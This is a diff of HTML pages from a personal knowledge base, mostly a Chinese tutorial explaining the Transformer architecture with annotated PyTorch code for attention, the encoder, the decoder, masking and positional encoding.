又因为有 $\frac{hw}{M^2}$ 个窗口,则: +$$ +\frac{hw}{M^2} \times\left(4M^2 C^2+2M^{4} C\right)=4 h w C^{2}+2 M^{2} h w C +$$ +假设feature map的$h=w=112,M=7,C=128$,采用W-MSA模块会比MSA模块节省约40124743680 FLOPs: +$$ +2(h w)^{2} C-2 M^{2} h w C=2 \times 112^{4} \times 128-2 \times 7^{2} \times 112^{2} \times 128=40124743680 +$$

+

整体流程图​

+

Swin-T

+

Network

+

Hyper_parameters

+
+

参考博客:

+

https://zhuanlan.zhihu.com/p/367111046

+
+
+

联系方式:

+ +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/Transformer 解读/index.html b/docs/个人知识库/AI/PyTorch/第十章/Transformer 解读/index.html new file mode 100644 index 0000000..ff330a3 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/Transformer 解读/index.html @@ -0,0 +1,215 @@ + + + + + +Transformer 解读.md | wjlin0 + + + + + + + +

Transformer 解读.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

Transformer 解读

+

+[Transformer] Attention Is All You Need +
+Ashish Vaswani,Noam Shazeer,Niki Parmar,Jakob Uszkoreit,Llion Jones,Aidan N. Gomez,Łukasz Kaiser,Illia Polosukhin. +
+NIPS 2017. +[paper] [tensorflow] [pytorch] +
+解读者:邹雨衡,对外经济贸易大学本科生,牛志康,西安电子科技大学本科生 +
+

+

前言​

+

​Attention (注意力)机制及其变体已经成为自然语言处理任务的一种基本网络架构,甚至在一定程度上取代了 RNN (循环神经网络)的主流地位,2018年取得了自然语言处理多项任务效果大幅提升的 BERT 模型便是基于 attention 机制搭建。但自2014年 attention 机制被提出至2017年,虽然被广泛应用到深度学习的各领域中,attention 机制更多的是作为 CNN(卷积神经网络)、RNN 的组件存在,自然语言处理的各种任务仍然是以 RNN 及其变体如 LSTM(长短期记忆递归神经网络)为主。

+

​但是 RNN、LSTM 虽然在处理自然语言处理的序列建模任务中得天独厚,却也有着难以忽视的缺陷:

+

​1. RNN 为单向依序计算,序列需要依次输入、串行计算,限制了计算机的并行计算能力,导致时间成本过高。

+

​2. RNN 难以捕捉长期依赖问题,即对于极长序列,RNN 难以捕捉远距离输入之间的关系。虽然 LSTM 通过门机制对此进行了一定优化,但 RNN 对长期依赖问题的捕捉能力依旧是不如人意的。

+

​针对上述两个问题,2017年,Vaswani 等人发表了论文《Attention Is All You Need》,抛弃了传统的 CNN、RNN 架构,提出了一种全新的完全基于 attention 机制的模型——Transformer,解决了上述问题,在较小的时间成本下取得了多个任务的 the-state-of-art 效果,并为自然语言处理任务提供了新的思路。自此,attention 机制进入自然语言处理任务的主流架构,众多性能卓越的预训练模型都基于 Transformer 架构提出,例如 BERT、OpenAI GPT 等。

+

​本文将从模型原理及代码实现上讲解该模型,并着重介绍代码实现。需要注意的是,由于 Transformer 源代码使用 TensorFlow 搭建,此处选择了哈佛大学 harvardnlp 团队基于 Pytorch 框架开发的 Annotated Transformer 代码进行讲解,以帮助大家了解 Transformer 的实现细节。

+

整体架构​

+

​ Transformer 是针对自然语言处理的 Seq2Seq(序列到序列)任务开发的,整体上沿用了 Seq2Seq 模型的 Encoder-Decoder(编码器-解码器)结构,整体架构如下:

+
image-20230127193646262
+

​ Transformer 由一个 Encoder,一个 Decoder 外加一个 Softmax 分类器与两层编码层构成。上图中左侧方框为 Encoder,右侧方框为 Decoder。

+

​ 由于是一个 Seq2Seq 任务,在训练时,Transformer 的训练语料为若干个句对,具体子任务可以是机器翻译、阅读理解、机器对话等。在原论文中是训练了一个英语与德语的机器翻译任务。在训练时,句对会被划分为输入语料和输出语料,输入语料将从左侧通过编码层进入 Encoder,输出语料将从右侧通过编码层进入 Decoder。Encoder 的主要任务是对输入语料进行编码再输出给 Decoder,Decoder 再根据输出语料的历史信息与 Encoder 的输出进行计算,输出结果再经过一个线性层和 Softmax 分类器即可输出预测的结果概率,整体逻辑如下图:

+
image-20230127193646262
+

​ 模型整体实现为一个 Encoder-Decoder架构:

+
class EncoderDecoder(nn.Module):
"""
A standard Encoder-Decoder architecture. Base for this and many
other models.
"""

def __init__(self, encoder, decoder, src_embed, tgt_embed, generator):
super(EncoderDecoder, self).__init__()
self.encoder = encoder
# 编码器
self.decoder = decoder
# 解码器
self.src_embed = src_embed
# 输入语料的编码函数
self.tgt_embed = tgt_embed
# 输出语料的编码函数
self.generator = generator
# 线性层+softmax分类层,输出分类概率,即架构图中的最高层

def forward(self, src, tgt, src_mask, tgt_mask):
# 前向计算函数
"Take in and process masked src and target sequences."
return self.decode(self.encode(src, src_mask), src_mask, tgt, tgt_mask)

def encode(self, src, src_mask):
# src 为输入语料
# src_mask 为输入语料的遮蔽符号
return self.encoder(self.src_embed(src), src_mask)
# 先编码输入语料,再和遮蔽符号一起传入编码器中

def decode(self, memory, src_mask, tgt, tgt_mask):
return self.decoder(self.tgt_embed(tgt), memory, src_mask, tgt_mask)
# 解码函数类似编码函数,memory为记忆,其实就是编码器的输出
+

​ 在该代码中实现的前向计算函数即先通过 Encoder 编码,再输出给 Decoder 解码。最终的线性分类并未在该类中实现。

+

​ 接下来将逐个介绍 Transformer 的实现细节和原理。

+

Attention​

+

​Attention 机制是 Transformer 的核心之一,要详细介绍Attention 机制的思想与操作需要较多的篇幅与笔墨,此处我们仅简要概述 attention 机制的思想和大致计算方法,更多细节请大家具体查阅相关资料,例如:Understanding Attention In Deep Learning (NLP)、Attention? Attention!等。在下文中,我们将从何为Attention、self-attention 和 Multi-Head attention 三个方面逐步介绍 Transformer 中使用的Attention 机制。

+

何为 Attention​

+

​Attention 机制最先源于计算机视觉领域,其核心思想为当我们关注一张图片,我们往往无需看清楚全部内容而仅将注意力集中在重点部分即可。而在自然语言处理领域,我们往往也可以通过将重点注意力集中在一个或几个 token,从而取得更高效高质的计算效果。

+

​Attention 机制的特点是通过计算 Query (查询值)与Key(键值)的相关性为真值加权求和,从而拟合序列中每个词同其他词的相关关系。其大致计算过程为:

+
image-20230129185638102
+
    +
  1. 通过输入与参数矩阵,得到查询值$q$,键值$k$,真值$v$。可以理解为,$q$ 是计算注意力的另一个句子(或词组),$v$ 为待计算句子,$k$ 为待计算句子中每个词(即 $v$ 的每个词)的对应键。其中,$v$ 与 $k$ 的矩阵维度是相同的,$q$的矩阵维度则可以不同,只需要满足 $q$ 能和$k^T$满足矩阵相乘的条件即可。
  2. +
  3. 对 $q$ 的每个元素 $q_i$ ,对 $q_i$ 与 $k$ 做点积并进行 softmax,得到一组向量,该向量揭示了 $q_i$ 对整个句子每一个位置的注意力大小。
  4. +
  5. 以上一步输出向量作为权重,对 $v$ 进行加权求和,将 $q$ 的所有元素得到的加权求和结果拼接得到最后输出。
  6. +
+

​其中,q,k,v 分别是由输入与三个参数矩阵做积得到的:

+
image-20230129185638102
+

​在实际训练过程中,为提高并行计算速度,直接使用 $q$、$k$、$v$ 拼接而成的矩阵进行一次计算即可。

+

​具体到 Transformer 模型中,计算公式如下: +$$ +Attention(Q,K,V) = softmax(\frac{QK^T}{\sqrt{d_k}})V +$$ +​其中,$d_k$ 为键向量$k$的维度,除以根号$d_k$主要作用是在训练过程中获得一个稳定的梯度。计算示例如下图:

+
image-20230129185638102
+

​ Attention 机制的基本实现代码如下:

+
def attention(query, key, value, mask=None, dropout=None):
"Compute 'Scaled Dot Product Attention'"
d_k = query.size(-1) # 获取键向量的维度,键向量的维度和值向量的维度相同,即经过注意力计算的输出维度
scores = torch.matmul(query, key.transpose(-2, -1)) / math.sqrt(d_k)
# 计算Q与K的内积并除以根号dk
# transpose 即对 K 进行了转置,使用-2和-1是因为在后续多头注意力计算中输入向量会达到四维,计算后两个维度即可
if mask is not None:
scores = scores.masked_fill(mask == 0, -1e9)
# masker_fill为遮蔽,即基于一个布尔值的参数矩阵对矩阵进行遮蔽
# 此处同上面的subsequent_mask函数结合,此处的mask即为该函数的输出
p_attn = scores.softmax(dim=-1)
if dropout is not None:
p_attn = dropout(p_attn)
# 采样
# 注意最后计算加权值是不需要转置的,上述计算返回的维度为 length*length,值参数为length*dk,直接内积即可
return torch.matmul(p_attn, value), p_attn
# 根据计算结果对value进行加权求和
+

Self-Attention​

+

​从上对 Attention 机制原理的叙述中我们可以发现,Attention 机制的本质是对两段序列的元素依次进行相似度计算,寻找出一个序列的每个元素对另一个序列的每个元素的相关度,然后基于相关度进行加权,即分配注意力。而这两段序列即是我们计算过程中 $Q$、$K$、$V$ 的来源。

+

​在经典的 Attention 机制中,$Q$ 往往来自于一个序列,$K$ 与 $V$ 来自于另一个序列,都通过参数矩阵计算得到,从而可以拟合这两个序列之间的关系。例如在 Transformer 的 Decoder 结构中,$Q$ 来自于 Encoder 的输出,$K$ 与 $V$ 来自于 Decoder 的输入,从而拟合了编码信息与历史信息之间的关系,便于综合这两种信息实现未来的预测。

+

​但在 Transformer 的 Encoder 结构中,使用的是 Attention 机制的变种—— self-attention (自注意力)机制。所谓自注意力,即是计算本身序列中每个元素都其他元素的注意力分布,即在计算过程中,$Q$、$K$、$V$ 都由同一个输入通过不同的参数矩阵计算得到。在 Encoder 中,$Q$、$K$、$V$ 分别是输入对参数矩阵 $W_q$、$W_k$、$W_v$ 做积得到,从而拟合输入语句中每一个 token 对其他所有 token 的关系。

+

​例如,通过 Encoder 中的 self-attention 层,可以拟合下面语句中 it 对其他 token 的注意力分布如图:

+
image-20230129190819407
+

​在代码中的实现,self-attention 机制其实是通过给 $Q$、$K$、$V$ 的输入传入同一个参数实现的:

+
x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))
# 传入自注意力层作为sublayer,输出自注意力层计算并进行残差连接后的结果
+

​上述代码是 Encoder 层的部分实现,self_attn 即是注意力层,传入的三个参数都是 $x$,分别是 $Q$、$K$、$V$ 的计算输入,从而 $Q$、$K$、$$ 均来源于同一个输入,则实现了自注意力的拟合。

+

Multi-Head Attention​

+

​Attention 机制可以实现并行化与长期依赖关系拟合,但一次注意力计算只能拟合一种相关关系,单一的 Attention 机制很难全面拟合语句序列里的相关关系。因此 Transformer 使用了 Multi-Head attention 机制,即同时对一个语料进行多次注意力计算,每次注意力计算都能拟合不同的关系,将最后的多次结果拼接起来作为最后的输出,即可更全面深入地拟合语言信息。

+
image-20230129190819407
+

​ 在原论文中,作者也通过实验证实,多头注意力计算中,每个不同的注意力头能够拟合语句中的不同信息,如下图:

+
image-20230207203454545
+

​上层与下层分别是两个注意力头对同一段语句序列进行自注意力计算的结果,可以看到,对于不同的注意力头,能够拟合不同层次的相关信息。通过多个注意力头同时计算,能够更全面地拟合语句关系。

+

​Multi-Head attention 的整体计算流程如下:

+
image-20230129190819407
+

所谓的多头注意力机制其实就是将原始的输入序列进行多组的自注意力处理;然后再将每一组得到的自注意力结果拼接起来,再通过一个线性层进行处理,得到最终的输出。我们用公式可以表示为: +$$ +\mathrm{MultiHead}(Q, K, V) = \mathrm{Concat}(\mathrm{head_1}, ..., +\mathrm{head_h})W^O \ +\text{where}~\mathrm{head_i} = \mathrm{Attention}(QW^Q_i, KW^K_i, VW^V_i) +$$

+

其最直观的代码实现并不复杂,即 n 个头就有 n 组3个参数矩阵,每一组进行同样的注意力计算,但由于是不同的参数矩阵从而通过反向传播实现了不同的注意力结果,然后将 n 个结果拼接起来输出即可。

+

但上述实现复杂度较高,我们可以通过矩阵运算巧妙地实现并行的多头计算,整体计算流程如下(注:由于此处使用了矩阵运算来实现多头并行,内部逻辑相对复杂,读者可以酌情阅读):

+
class MultiHeadedAttention(nn.Module):
# 多头注意力操作
def __init__(self, h, d_model, dropout=0.1):
"Take in model size and number of heads."
super(MultiHeadedAttention, self).__init__()
assert d_model % h == 0
# 这里的 d_model 即为该层最后输出结果的维度,由于最后输出结果是 n 个头的输出结果拼接起来的,因此该维度应当能够整除头数
# 断言,控制h总是整除于d_model,如果输入参数不满足将报错
# 这里假设 d_v = d_k,其实是为了方便最后线性层的处理,如果不使用这个假设,把最后一个全连接层抽出来单独初始化即可
self.d_k = d_model // h
# 每个头要输出的维度
self.h = h
# 头数
self.linears = clones(nn.Linear(d_model, d_model), 4)
# 注意,这里初始化了4个线性层,前三个分别是三个参数矩阵每个头拼接起来的结果,最后一个是全连接层,这样操作的前提是上述假设
# 这里通过三个组合矩阵来代替了n个参数矩阵的组合,其逻辑在于矩阵内积再拼接其实等同于拼接矩阵再内积,不理解的读者可以自行模拟一下,每一个线性层其实相当于n个参数矩阵的拼接
self.attn = None
self.dropout = nn.Dropout(p=dropout)

def forward(self, query, key, value, mask=None):
"Implements Figure 2"
if mask is not None:
# Same mask applied to all h heads.
mask = mask.unsqueeze(1)
# 批次大小
nbatches = query.size(0)

# 1) 每一个输入通过线性层即参数矩阵得到映射后的结果
# 这里输入经过线性层之后维度为 nbatches*length*d_model,因为要进入注意力计算,需要把不同头的输入拆开,即将输出展开为 nbatches*length*n_head*d_k,然后将length和n_head维度互换,因为在注意力计算中我们是取了后两个维度参与计算
query, key, value = [
lin(x).view(nbatches, -1, self.h, self.d_k).transpose(1, 2)
for lin, x in zip(self.linears, (query, key, value))
]
# 为什么要先按n_batches*-1*n_head*d_k展开再互换1、2维度而不是直接按注意力输入展开,是因为view的展开方式是直接把输入全部排开,然后按要求构造,可以发现只有上述操作能够实现我们将每个头对应部分取出来的目标

# 2) 进行注意力计算
x, self.attn = attention(
query, key, value, mask=mask, dropout=self.dropout
)
# x 为加权求和结果,attn为计算的注意力分数

# 3) 将注意力计算结果拼接,然后通过最后的全连接层
# 注意力输出维度为n_batches*n_head*length*d_k,我们需要的输入为n_batches*length*d_model,所以直接针对上述转换操作逆操作即可
x = (
x.transpose(1, 2)
.contiguous()
.view(nbatches, -1, self.h * self.d_k)
)
# contiguous 函数用于重新开辟一块新内存存储,因为Pytorch设置先transpose再view会报错,因为view直接基于底层存储得到,然而transpose并不会改变底层存储,因此需要额外存储

del query
del key
del value
# 最后经过全连接层即可
return self.linears[-1](x)
+

​在 Pytorch 中,其实提供了 Multi-Head Attention 机制的 API,可以通过下列代码直接构造并使用一个多头注意力层:

+
multihead_attn = nn.MultiheadAttention(embed_dim , num_heads)
# 构造一个多头注意力层
# embed_dim :输出词向量长度;num_heads :头数
# 可选参数:
# drop_out: 在采样层中drop_out的概率,默认为0;bias:线性层是否计算偏置
# add_bias_kv:是否将偏置添加到 K 和 V 中;add_zero_attn:是否为 K 和 V 再添加一串为0的序列
# kdim:K 的总共feature数;vdim:V 的总共feature数;batch_first:是否将输入调整为(batch,seq,feature)
attn_output, attn_output_weights = multihead_attn(query, key, value)
# 前向计算
# 输出:
# attn_output:形如(N,L,E)的计算结果,N为批次大小,L为目标序列长度,E为embed_dim
# attn_output_weights:注意力计算分数,仅当need_weights=True时返回
# query、key、value 分别是注意力计算的三个输入矩阵
+

Encoder​

+
image-20230129182417098
+

​如图所示,Encoder 由 N 个(论文中取 N = 6)EncoderLayer 组成,每个 EncoderLayer 又由两个 sublayer (子层)组成。在下文的代码中,每一个 layer 是一个 EncoderLayer,代码在最后又额外加入了一个标准化层进行标准化操作:

+
class Encoder(nn.Module):
"Core encoder is a stack of N layers"
# 编码器其实是由N层自注意力层+标准化层构成的

def __init__(self, layer, N):
super(Encoder, self).__init__()
self.layers = clones(layer, N)
# clones 函数为作者定义的,实现将 layer 层复制 N 次的功能
self.norm = LayerNorm(layer.size)
# 标准化层,参数为特征数

def forward(self, x, mask):
"Pass the input (and mask) through each layer in turn."
for layer in self.layers:
x = layer(x, mask)
return self.norm(x)
+

​1. 第一部分为一个多头自注意力层。Transformer 的最大特点即是抛弃了传统的 CNN、RNN 架构,完全使用 attention 机制搭建。在 EncoderLayer 中,使用了 Multi-Head self-attention(多头自注意力)层,编码输入语料的相关关系。通过 attention 机制,实现了模型的并行化与长期依赖关系的拟合。关于 Multi-Head self-attention 将在之后的板块详述其特点与实现。在通过一个多头自注意力层后,输出经过标准化层进入下一个 sublayer。

+
class EncoderLayer(nn.Module):
"Encoder is made up of self-attn and feed forward (defined below)"

def __init__(self, size, self_attn, feed_forward, dropout):
super(EncoderLayer, self).__init__()
self.self_attn = self_attn
# 自注意力层
self.feed_forward = feed_forward
# 前馈神经网络层
self.sublayer = clones(SublayerConnection(size, dropout), 2)
# 残差连接层,将在之后定义
# 两层分别用于连接自注意力层和前馈神经网络层
self.size = size

def forward(self, x, mask):
"Follow Figure 1 (left) for connections."
x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))
# 传入自注意力层作为sublayer,输出自注意力层计算并进行残差连接后的结果
return self.sublayer[1](x, self.feed_forward)
+

​2. 第二部分为一个全连接神经网络,论文中称为“position-wise fully connected feed-forward network”,实际是一个线性层+激活函数+ dropout + 线性层的全连接网络。

+
class PositionwiseFeedForward(nn.Module):
# 即架构图中的FeedForward

def __init__(self, d_model, d_ff, dropout=0.1):
super(PositionwiseFeedForward, self).__init__()
self.w_1 = nn.Linear(d_model, d_ff)
self.w_2 = nn.Linear(d_ff, d_model)
self.dropout = nn.Dropout(dropout)

def forward(self, x):
return self.w_2(self.dropout(self.w_1(x).relu()))
# 实则是一个线性层+激活函数+采样+一个线性层
+

Decoder​

+
image-20230129183826948
+

​Decoder 与 Encoder 的组成非常类似,同样是由N个DecoderLayer组成,DecoderLayer 与 EncoderLayer 的区别在于:

+

​1. EncoderLayer由两个sublayer组成,分别是一个多头自注意力层与一个全连接网络层。DecoderLayer 则在 EncoderLayer 的两个 sublayer 的基础上增加了一个带掩码的多头注意力层。如图,最下方的多头自注意力层同 EncoderLayer结构相同,中间则是增加的一个多头注意力层,将使用 Encoder 的输出和下方多头自注意力层的输出作为输入进行注意力计算。最上方的全连接网络也同 EncoderLayer 相同。

+

​2. EncoderLayer 的输入仅来自于编码之后的输入语料(或上一个 EncoderLayer 的输出),DecoderLayer 的输入除来自于编码之后的输出语料外,还包括 Encoder 的输出。

+

​DecoderLayer 的实现如下代码:

+
class DecoderLayer(nn.Module):
"Decoder is made of self-attn, src-attn, and feed forward (defined below)"

def __init__(self, size, self_attn, src_attn, feed_forward, dropout):
super(DecoderLayer, self).__init__()
self.size = size
self.self_attn = self_attn
self.src_attn = src_attn
# 语料注意力,即图中Decoder的第二个注意力网络,拟合编码器输出和上一个子层输出的注意力
self.feed_forward = feed_forward
self.sublayer = clones(SublayerConnection(size, dropout), 3)
# 因为解码器有三个子层,所以需要三个残差连接层

def forward(self, x, memory, src_mask, tgt_mask):
"Follow Figure 1 (right) for connections."
m = memory
x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, tgt_mask))
x = self.sublayer[1](x, lambda x: self.src_attn(x, m, m, src_mask))
# 由此可见解码器中两个注意力子层的区别
# 第一个注意力子层同编码器中相同,是自注意力层,传入的三个参数均通过输入语料x得到
# 第二个注意力子层为注意力层,传入的三个参数分别由输入语料x与记忆(即编码器输出)m得到
return self.sublayer[2](x, self.feed_forward)
+

​ 注意此处为了计算输出语料与输入语料的注意力,在前向计算时,第二个注意力子层将传入 memory,也就是 Encoder 的输出。Decoder 的整体实现同 Encoder 类似,此处就不再赘述。

+

残差连接​

+

​为了避免模型退化,Transformer 采用了残差连接的思想来连接每一个子层。残差连接,即下一层的输入不仅是上一层的输出,还包括上一层的输入。残差连接允许最底层信息直接传到最高层,让高层专注于残差的学习。

+

​例如,在 Encoder 中,在第一个子层,输入进入多头自注意力层的同时会直接传递到该层的输出,然后该层的输出会与原输入相加,再进行标准化。在第二个子层也是一样。即: +$$ +\rm output = LayerNorm(x + Sublayer(x)) +$$ +​LayerNorm 为该层的标准化操作,Sublayer 为该子层的操作(多头注意力计算或全连接计算)。源码通过构造一个 SublayerConnection 类来实现残差连接:

+
class SublayerConnection(nn.Module):
"""
A residual connection followed by a layer norm.
Note for code simplicity the norm is first as opposed to last.
"""

def __init__(self, size, dropout):
super(SublayerConnection, self).__init__()
self.norm = LayerNorm(size)
self.dropout = nn.Dropout(dropout)
# 采样层

def forward(self, x, sublayer):
"Apply residual connection to any sublayer with the same size."
return x + self.dropout(sublayer(self.norm(x)))
# 残差连接,在该层实现了norm和add
+

​回到 EncoderLayer 的定义,我们可以看到作者在该层实现了两个 SublayerConnection 对象,分别实现自注意力层到全连接层、全连接层到输出的残差连接:

+
class EncoderLayer(nn.Module):
"Encoder is made up of self-attn and feed forward (defined below)"

def __init__(self, size, self_attn, feed_forward, dropout):
super(EncoderLayer, self).__init__()
self.self_attn = self_attn
self.feed_forward = feed_forward
self.sublayer = clones(SublayerConnection(size, dropout), 2)
# 残差连接层
# 两层分别用于连接自注意力层和前馈神经网络层
self.size = size

def forward(self, x, mask):
"Follow Figure 1 (left) for connections."
x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))
# 传入自注意力层作为sublayer,输出自注意力层计算并进行残差连接后的结果
return self.sublayer[1](x, self.feed_forward)
+

​DecoderLayer 中也同样实现了该对象,不过由于有三个 sublayer,所以实现了三个 SublayerConnection 对象。

+

Mask​

+

​Transformer 是一个自回归模型,类似于语言模型,其将利用历史信息依序对输出进行预测。例如,如果语料的句对为:1. <BOS> 我爱你 <EOS>;2. <BOS> I like you <EOS>。则 Encoder 获取的输入将会是句 1 整体,并输出句 1 的编码信息,但 Decoder 的输入并不一开始就是句 2 整体,而是先输入起始符<BOS>,Decoder 根据<BOS> 与 Encoder 的输出预测 I,再输入<BOS> I,Decoder 根据输入和 Encoder 的输出预测 like。因此,自回归模型需要对输入进行 mask(遮蔽),以保证模型不会使用未来信息预测当下。

+

​关于自回归模型与自编码模型的细节,感兴趣的读者可以下来查阅更多资料,在此提供部分链接供读者参考。博客:自回归语言模型 VS 自编码语言模型、预训练语言模型整理;论文:基于语言模型的预训练技术研究综述等。

+

​因此,在 Transformer 中,我们需要建立一个 mask 函数,可以根据当下预测的时间阶段对输入语料进行 mask,被 mask 的信息就不会被模型得知,从而保证了模型只使用历史信息进行预测。mask 的实现方法如下:

+
def subsequent_mask(size):
"Mask out subsequent positions."
attn_shape = (1, size, size)
# 注意力语料的形状
subsequent_mask = torch.triu(torch.ones(attn_shape), diagonal=1).type(
torch.uint8
)
# triu返回一个上三角矩阵,diagonal=1控制不保留主对角线
'''
一个例子:
a = [[1,2,3],
[4,5,6],
[7,8,9]
]
triu(a, diagonal=1)返回:
[[0,2,3],
[0,0,6],
[0,0,0]]
可见通过生成这样一个上三角矩阵,再取其中为0的位置,可以实现我们所需的未来信息遮蔽
'''
return subsequent_mask == 0
+

位置编码​

+

​Attention 机制可以实现良好的并行计算,但同时,其注意力计算的方式也导致序列中相对位置的丢失。在 RNN、LSTM 中,输入序列会沿着语句本身的顺序被依次递归处理,因此输入序列的顺序提供了极其重要的信息,这也和自然语言的本身特性非常吻合。但从上文对 Attention 机制的分析我们可以发现,在 Attention 机制的计算过程中,对于序列中的每一个 token,其他各个位置对其来说都是平等的,即“我喜欢你”和“你喜欢我”在 Attention 机制看来是完全相同的,但无疑这是 Attention 机制存在的一个巨大问题。因此,为使用序列顺序信息,保留序列中的相对位置信息,Transformer 采用了位置编码机制,该机制也在之后被多种模型沿用。

+

​位置编码,即根据序列中 token 的相对位置对其进行编码,再将位置编码加入词向量编码中。位置编码的方式有很多,Transformer 使用了正余弦函数来进行位置编码,其编码方式为: +$$ +PE(pos, 2i) = sin(pos/10000^{2i/d_{model}})\ +PE(pos, 2i+1) = cos(pos/10000^{2i/d_{model}}) +$$ +​上式中,pos 为 token 在句子中的位置,2i 和 2i+1 则是指示了 token 是奇数位置还是偶数位置,从上式中我们可以看出对于奇数位置的 token 和偶数位置的 token,Transformer 采用了不同的函数进行编码。我们以一个简单的例子来说明位置编码的计算过程:假如我们输入的是一个长度为 4 的句子"I like to code",我们可以得到下面的词向量矩阵$\rm x$,其中每一行代表的就是一个词向量,$\rm x_0=[0.1,0.2,0.3,0.4]$对应的就是“I”的词向量,它的pos就是为0,以此类推,第二行代表的是“like”的词向量,它的pos就是1: +$$ +\rm x = \begin{bmatrix} 0.1 & 0.2 & 0.3 & 0.4 \ 0.2 & 0.3 & 0.4 & 0.5 \ 0.3 & 0.4 & 0.5 & 0.6 \ 0.4 & 0.5 & 0.6 & 0.7 \end{bmatrix} +$$ +​则经过位置编码后的词向量为: +$$ +\rm x_{PE} = \begin{bmatrix} 0.1 & 0.2 & 0.3 & 0.4 \ 0.2 & 0.3 & 0.4 & 0.5 \ 0.3 & 0.4 & 0.5 & 0.6 \ 0.4 & 0.5 & 0.6 & 0.7 \end{bmatrix} + \begin{bmatrix} \sin(\frac{0}{10000^0}) & \cos(\frac{0}{10000^0}) & \sin(\frac{0}{10000^{2/4}}) & \cos(\frac{0}{10000^{2/4}}) \ \sin(\frac{1}{10000^0}) & \cos(\frac{1}{10000^0}) & \sin(\frac{1}{10000^{2/4}}) & \cos(\frac{1}{10000^{2/4}}) \ \sin(\frac{2}{10000^0}) & \cos(\frac{2}{10000^0}) & \sin(\frac{2}{10000^{2/4}}) & \cos(\frac{2}{10000^{2/4}}) \ \sin(\frac{3}{10000^0}) & \cos(\frac{3}{10000^0}) & \sin(\frac{3}{10000^{2/4}}) & \cos(\frac{3}{10000^{2/4}}) \end{bmatrix} = \begin{bmatrix} 0.1 & 1.2 & 0.3 & 1.4 \ 1.041 & 0.84 & 0.41 & 1.49 \ 1.209 & -0.016 & 0.52 & 1.59 \ 0.541 & -0.489 & 0.895 & 1.655 \end{bmatrix} +$$ +我们可以使用如下的代码来获取上述例子的位置编码:

+
import numpy as np
import matplotlib.pyplot as plt
def PositionEncoding(seq_len, d_model, n=10000):
P = np.zeros((seq_len, d_model))
for k in range(seq_len):
for i in np.arange(int(d_model/2)):
denominator = np.power(n, 2*i/d_model)
P[k, 2*i] = np.sin(k/denominator)
P[k, 2*i+1] = np.cos(k/denominator)
return P

P = PositionEncoding(seq_len=4, d_model=4, n=100)
print(P)
+
[[ 0.          1.          0.          1.        ]
[ 0.84147098 0.54030231 0.09983342 0.99500417]
[ 0.90929743 -0.41614684 0.19866933 0.98006658]
[ 0.14112001 -0.9899925 0.29552021 0.95533649]]
+

这样的位置编码主要有两个好处:

+
    +
  1. 使 PE 能够适应比训练集里面所有句子更长的句子,假设训练集里面最长的句子是有 20 个单词,突然来了一个长度为 21 的句子,则使用公式计算的方法可以计算出第 21 位的 Embedding。
  2. +
  3. 可以让模型容易地计算出相对位置,对于固定长度的间距 k,PE(pos+k) 可以用 PE(pos) 计算得到。因为 Sin(A+B) = Sin(A)Cos(B) + Cos(A)Sin(B), Cos(A+B) = Cos(A)Cos(B) - Sin(A)Sin(B)。
  4. +
+

​关于位置编码,有许多学者从数学的角度证明了该编码方式相对于其他更简单、直观的编码方式的优越性与必要性,由于本文重点在于代码的解析,此处不再赘述,感兴趣的读者可以查阅相关资料,如博客:Transformer Architecture: The Positional Encoding、A Gentle Introduction to Positional Encoding in Transformer Models 等。

+

​编码结果示例如下:

+
image-20230129201913077
+

​位置编码的实现如下:

+
class PositionalEncoding(nn.Module):

def __init__(self, d_model, dropout, max_len=5000):
super(PositionalEncoding, self).__init__()
self.dropout = nn.Dropout(p=dropout)

# Compute the positional encodings once in log space.
pe = torch.zeros(max_len, d_model)
# 位置矩阵,初始化为0
position = torch.arange(0, max_len).unsqueeze(1)
# 公式中的POS
div_term = torch.exp(
torch.arange(0, d_model, 2) * -(math.log(10000.0) / d_model)
)
# 此处对公式中的指数计算取了个对数
pe[:, 0::2] = torch.sin(position * div_term)
pe[:, 1::2] = torch.cos(position * div_term)
# 基于公式计算位置编码
pe = pe.unsqueeze(0)
self.register_buffer("pe", pe)
# 定义一组训练中不会改变的参数pe

def forward(self, x):
x = x + self.pe[:, : x.size(1)].requires_grad_(False)
# 向词向量中加入位置编码
return self.dropout(x)
+

最终建模​

+

​在完成上述实现后,再将其各个组件组合起来即可,此处使用一个函数建立完整模型:

+
def make_model(
src_vocab, tgt_vocab, N=6, d_model=512, d_ff=2048, h=8, dropout=0.1
):
"Helper: Construct a model from hyperparameters."
c = copy.deepcopy
attn = MultiHeadedAttention(h, d_model)
# 多头注意力层
ff = PositionwiseFeedForward(d_model, d_ff, dropout)
# 前馈神经网络层
position = PositionalEncoding(d_model, dropout)
# 位置编码层
model = EncoderDecoder(
Encoder(EncoderLayer(d_model, c(attn), c(ff), dropout), N),
# 编码器
Decoder(DecoderLayer(d_model, c(attn), c(attn), c(ff), dropout), N),
# 解码器,第一个attn为自注意力层,第二个attn为加入编码器输出的注意力层
nn.Sequential(Embeddings(d_model, src_vocab), c(position)),
# 输入语料编码层
nn.Sequential(Embeddings(d_model, tgt_vocab), c(position)),
# 输出语料编码层
Generator(d_model, tgt_vocab),
# 分类层
)

# This was important from their code.
# Initialize parameters with Glorot / fan_avg.
for p in model.parameters():
if p.dim() > 1:
nn.init.xavier_uniform_(p)
# 初始化参数
return model
+

训练​

+

​基于 Pytorch 实现的 Transformer 的训练大致沿用了 Pytorch 的框架,整体流程同使用 Pytorch 建立深度学习模型的流程大致相同,只不过实现了一些更底层的细节自定义。

+

Traning Loop​

+

​作者并没有直接使用 Pytorch 提供的训练函数,而是自定义了一个用于记录训练过程的类:

+
class TrainState:
"""Track number of steps, examples, and tokens processed"""

step: int = 0 # Steps in the current epoch
accum_step: int = 0 # Number of gradient accumulation steps
samples: int = 0 # total # of examples used
tokens: int = 0 # total # of tokens processed
+

​ 接着,基于该类的实现定义了运行函数:

+
def run_epoch(
data_iter,# 数据集
model,# 模型
loss_compute,# 损失计算函数
optimizer,# 优化器
scheduler,# 调度器
mode="train",# 模式,训练或测试
accum_iter=1,# 进行优化的轮数
train_state=TrainState(),
):
"""Train a single epoch"""
start = time.time()
total_tokens = 0
total_loss = 0
tokens = 0
